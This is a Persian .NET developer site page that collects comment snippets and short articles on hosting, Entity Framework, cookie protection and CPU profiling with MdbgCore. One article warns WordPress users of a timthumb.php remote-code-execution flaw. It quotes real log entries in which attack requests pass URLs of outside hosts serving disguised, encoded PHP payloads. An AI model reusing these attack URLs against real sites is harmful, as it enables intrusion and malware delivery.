نظرات مطالب
دریافت فایل از یوتیوب
سال نو مبارک، ایده جالبی بود.
نظرات مطالب
BloggerToCHM
ممنون. سال نوی شما هم مبارک باشه.
نظرات مطالب
Claim Based Identity
سلام؛ بنده یک سیستم نوشتم و کامل کار می‌کنه ولی بعد از چندبار لاگین یکدفعه سیستم ارور می‌ده و دیگه از اون مرورگر نمی‌تونم هیچ صفحه ای از اون سایت رو باز کنم. حتی صفحه اصلی سایت یا صفحه لاگین سایت که بنده claim‌ها رو بررسی نمی‌کنم. اگر مرورگر رو عوض کنم و یا از همون مرورگر با یک اکانت دیگه وارد سایت بشم، سیستم بدون هیچ مشکلی صفحه لاگین رو باز می‌کنه و می‌تونم یوزر و پسورد رو وارد کنم تا وارد سایت بشم. اما اگر یوزر پسورد رو بزنم و درست باشه برای اون مرورگر هم همین مشکل پیش میاد. نمی‌دونم مشکل از چیه و به حالت دیفالت claim‌‌ها فقط یوزر نیم و دسترسی‌ها رو اضافه کردم و هیچ دستکاریه دیگه ای انجام ندادم. توی سیستم لوکال اگر دیتابیس رو حذف کنم و دوباره ایجادش کنم، تا یک مدتی سیستم درست کار می‌کنه ولی بعد از یک مدت کوتاهی دوباره همین مشکل براش پیش میاد. 

مطالب
اجرای کد از راه دور
مدتی هست که با بررسی لاگ‌های خطای برنامه سایت، به این نوع لینک‌ها(ی یافت نشد) می‌رسم:
 http://www.thissite.info/wp-themes_page/netweb/timthumb.php?src=http://wordpress.com.4creatus.com/info.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http://picasa.com.ganesavaloczi.hu/jos.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.topsaitebi.ge%2Fcpx.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fpicasa.com.fm-pulizie.it%2Fxgood.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.showtimeentertainment.ca%2Fstunxx.php
و نکته جالب این‌ها، وجود خارجی داشتن سایتی مانند http://wordpress.com.4creatus.com/ است. ابتدای نام دومین را هم با wordpress.com یا flickr.com شروع کرده‌اند تا آنچنان مشکوک به نظر نرسد.
به نظر این مساله باگی است در فایل timthumb.php بلاگ‌های وردپرس که دارد مورد سوء استفاده واقع می‌شود. به عبارتی این فایل خاص، به علت داشتن باگ امنیتی، امکان اجرای کد از راه دور را فراهم کرده است. برای نمونه اگر به آدرس مذکور مراجعه کنید فایل‌های php آن قابل دریافت و بررسی هستند. این فایل‌ها در ابتدای کار دارای هدر Gif بوده و در ادامه دارای کد PHP هستند. کدهای آن هم ابتدا base64 encoded شده‌اند و سپس gzip encoded.

در کل جهت اطلاع کلیه کسانی که از وردپرس استفاده می‌کنند برای بررسی وضعیت سایت یا بلاگ خودشان.
 
مطالب
بررسی علت CPU Usage بالای برنامه در حال اجرا

فرض کنید به یک سرور مراجعه کرده‌اید و شکایت از CPU Usage مربوط به پروسه w3wp.exe یا همان IIS Worker Process است که بالای 90 درصد می‌باشد. بر روی این سرور هم هیچ چیز دیگری نصب نیست و مطابق مقررات موجود، قرار هم نیست که برنامه‌ای نصب شود. اکنون سؤال این است که چطور تشخیص می‌دهید، کدام قسمت یکی از برنامه‌ها‌ی دات نتی در حال اجرا (در اینجا یکی از برنامه‌های ASP.NET هاست شده)، سبب بروز این مشکل شده است؟ کدام ترد بیشترین زمان CPU را به خود اختصاص داده است؟ چطور باید خطایابی کرد؟
اولین کاری که در این موارد توصیه می‌شود مراجعه به برنامه‌ی معروف process explorer و بررسی برگه‌ی threads آن است. در اینجا حتی می‌توان call stacks مرتبط با یک ترد را هم مشاهده کرد. اما ... این برگه در مورد پروسه‌ها و تردهای دات نتی، اطلاعات چندانی را در اختیار ما قرار نمی‌دهد.
خوشبختانه امکان دیباگ پروسه‌های دات نتی در حال اجرا توسط کتابخانه‌ی MdbgCore.dll پیش بینی شده است. این فایل را در یکی از مسیر‌های ذیل می‌توانید پیدا کنید:
C:\Program Files\Microsoft SDKs\Windows\vXYZ\bin\MdbgCore.dll
C:\Program Files\Microsoft SDKs\Windows\vXYZ\bin\NETFX 4.0 Tools\MdbgCore.dll

در ادامه می‌خواهیم توسط امکانات این کتابخانه، به stack trace تردهای در حال اجرای یک برنامه دات نتی دسترسی پیدا کرده و سپس نام متدهای مرتبط را نمایش دهیم:
using System;
using System.Collections;
using System.Diagnostics;
using Microsoft.Samples.Debugging.MdbgEngine;

namespace CpuAnalyzer
{
class Program
{
static void Main(string[] args)
{
var engine = new MDbgEngine();

var processesByName = Process.GetProcessesByName("MyApp");
if (processesByName.Length == 0)
throw new InvalidOperationException("specified process not found.");
var processId = processesByName[0].Id;

var process = engine.Attach(processId);
process.Go().WaitOne();

foreach (MDbgThread thread in (IEnumerable)process.Threads)
{
foreach (MDbgFrame frame in thread.Frames)
{
if (frame == null || frame.Function == null) continue;
Console.WriteLine(frame.Function.FullName);
}
}

process.Detach().WaitOne();
}
}
}
در اینجا در ابتدا نیاز است تا pid یا process-id مرتبط با برنامه در حال اجرا یافت شود. سپس از این pid جهت اتصال (engine.Attach) به پروسه مورد نظر استفاده خواهیم کرد. در ادامه کلیه تردهای این پروسه در حال دیباگ لیست شده و سپس MDbgFrameهای این ترد بررسی می‌شوند و نام متدهای مرتبط در کنسول نمایش داده خواهند شد.
خوب در مرحله بعد شاید بد نباشد که این متدها را بر اساس CPU usage آن‌ها مرتب کنیم. به این ترتیب بهتر می‌توان تشخیص داد که کدام متد مشکل ساز بوده است. برای این منظور باید به API ویندوز و تابع GetThreadTimes مراجعه کرد و اولین پارامتر ورودی آن، همان thread.CorThread.Handle اولین حلقه مثال فوق می‌باشد. هر کدام که جمع KernelTime + UserTime بیشتری داشت، همان است که مشکل درست کرده است.
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool GetThreadTimes(IntPtr handle, out long creation, out long exit, out long kernel, out long user);
این مورد را به عنوان تمرین بررسی کرده و ادامه دهید! همچنین بهتر است جهت دستیابی به اطلاعاتی معتبر، اولین حلقه برنامه فوق، حداقل 10 بار اجرا شود تا اطلاعات آماری بهتری را بتوان ارائه داد. البته در این حالت نکته‌ی زیر باید رعایت شود:
for (int i = 0; i < 10; i++)
{
foreach (MDbgThread thread in (IEnumerable)process.Threads)
{
//...
}
process.Go();
Thread.Sleep(1000);
process.AsyncStop().WaitOne();
}

در کل این مثال جای کار زیاد دارد. برای مثال طراحی یک رابط کاربری برای آن و نمایش جزئیات بیشتر. به همین منظور حداقل سه پروژه مشابه را می‌توان نام برد:

نظرات مطالب
مراحل تنظیم Let's Encrypt در IIS
سلام؛ برای پروژه ASP.NET Core اگه بخوایم از هاست‌های اشتراکی Plesk استفاده کنیم نیازی هست که کار خاصی برای بحث گواهینامه انجام بدیم (چون در مرحله پیاده سازی فرموده بودین [سپس مجوز SSL آن‌را تبدیل به مجوز امن و قابل اطمینان کنید ])؟
من قبلا برای پروژه ام وی سی از lets encrypt یا گواهینامه‌های دیگه که با هزینه بودن استفاده کردم، فقط کافیه تو هاست در بخش مربوطه درخواست بزنی یا برای اونایی که هزینه دارن خود شرکت تنظیمات رو برات انجام میده.
 تا حالا درگیر تنظیمات IIS نشدم چون اصلا دسترسی بهت نمیدن.
نظرات مطالب
غیرمعتبر شدن کوکی‌های برنامه‌های ASP.NET Core هاست شده‌ی در IIS پس از ری‌استارت آن
- services.AddDataProtection یعنی همان مقدمه‌ی بحث؛ یا ذخیره سازی کلیدها در حافظه به صورت پیش‌فرض. مابقی بحث جهت دائمی کردن این کلیدها است. البته دائمی کردن هم طول عمری دارد.
- در سرورهای اشتراکی یا از روش «یک نکته‌ی تکمیلی: روش ذخیره سازی کلید موقتی تولید شده در بانک اطلاعاتی بجای حافظه‌ی سرور » استفاده کنید، یا با هاست تماس بگیرید و تنظیم گزینه‌ی 2 یا همان Load user profile به true را به آن‌ها اعلام کنید (چون تنظیمات برنامه‌های ASP.NET Core با نگارش‌های قبلی یکی نیست؛ این یک مورد را هم بهتر است به لیست تنظیمات اولیه‌ی برنامه اضافه کنند).
- در حالت سوم، ذکر Certificate برای رمزنگاری اطلاعات ضروری است؛ در غیراینصورت این کلیدها به صورت معمولی و واضح ذخیره خواهند شد.
نظرات مطالب
EF Code First #2
این خطا به این معنا است که بر اساس تنظیمات رشته‌ی اتصالی شما، EF Code First سعی کرده‌است یک بانک اطلاعاتی جدید را از صفر ایجاد کند و ... کاربری که در رشته‌ی اتصالی ذکر شده‌است، دسترسی ایجاد بانک اطلاعاتی جدیدی را ندارد. به همین منظور، در این رشته‌ی اتصالی، از یک بانک اطلاعاتی از پیش ایجاد شده استفاده کنید. (اگر هاست اشتراکی است، باید درخواست دهید تا برای شما بانک اطلاعاتی جدیدی را ایجاد کنند؛ به همراه ارائه‌ی مشخصات اتصال به آن. سپس بر این اساس هست که باید رشته‌ی اتصالی شما اصلاح شود)
نظرات مطالب
LocalDB چیست؟
امروز هرچقدر سعی می‌کنم یک دیتابیس Sql server ce رو روی هاست اشتراکی منتقل کنم مدام با خطای زیر مواجه می‌شم . راه حل‌های مختلفی رو هم امتحان کردم مثل تغییر سطح تراست یا تغییر نسخه کامپایل به x86 یا x64 یا این و این
نهایتا به جایی نرسیدم .

Unable to load the native components of SQL Server Compact corresponding to the ADO.NET provider of version 8854. Install the correct version of SQL Server Compact. Refer to KB article 974247 for more details.

اشتراک‌ها
دریافت کتابخانه های جاوا

منبعی بزرگ از فایل‌های باینری جاوا که میتوانید در برنامه‌های اندرویدی به صورت وابستگی maven استفاده کنید یا اینکه فایل باینری خود را در آن به به اشتراک بگذارید.

کتابخانه jcenter گوگل نیز بر روی این سایت قرار دارد

دریافت کتابخانه های جاوا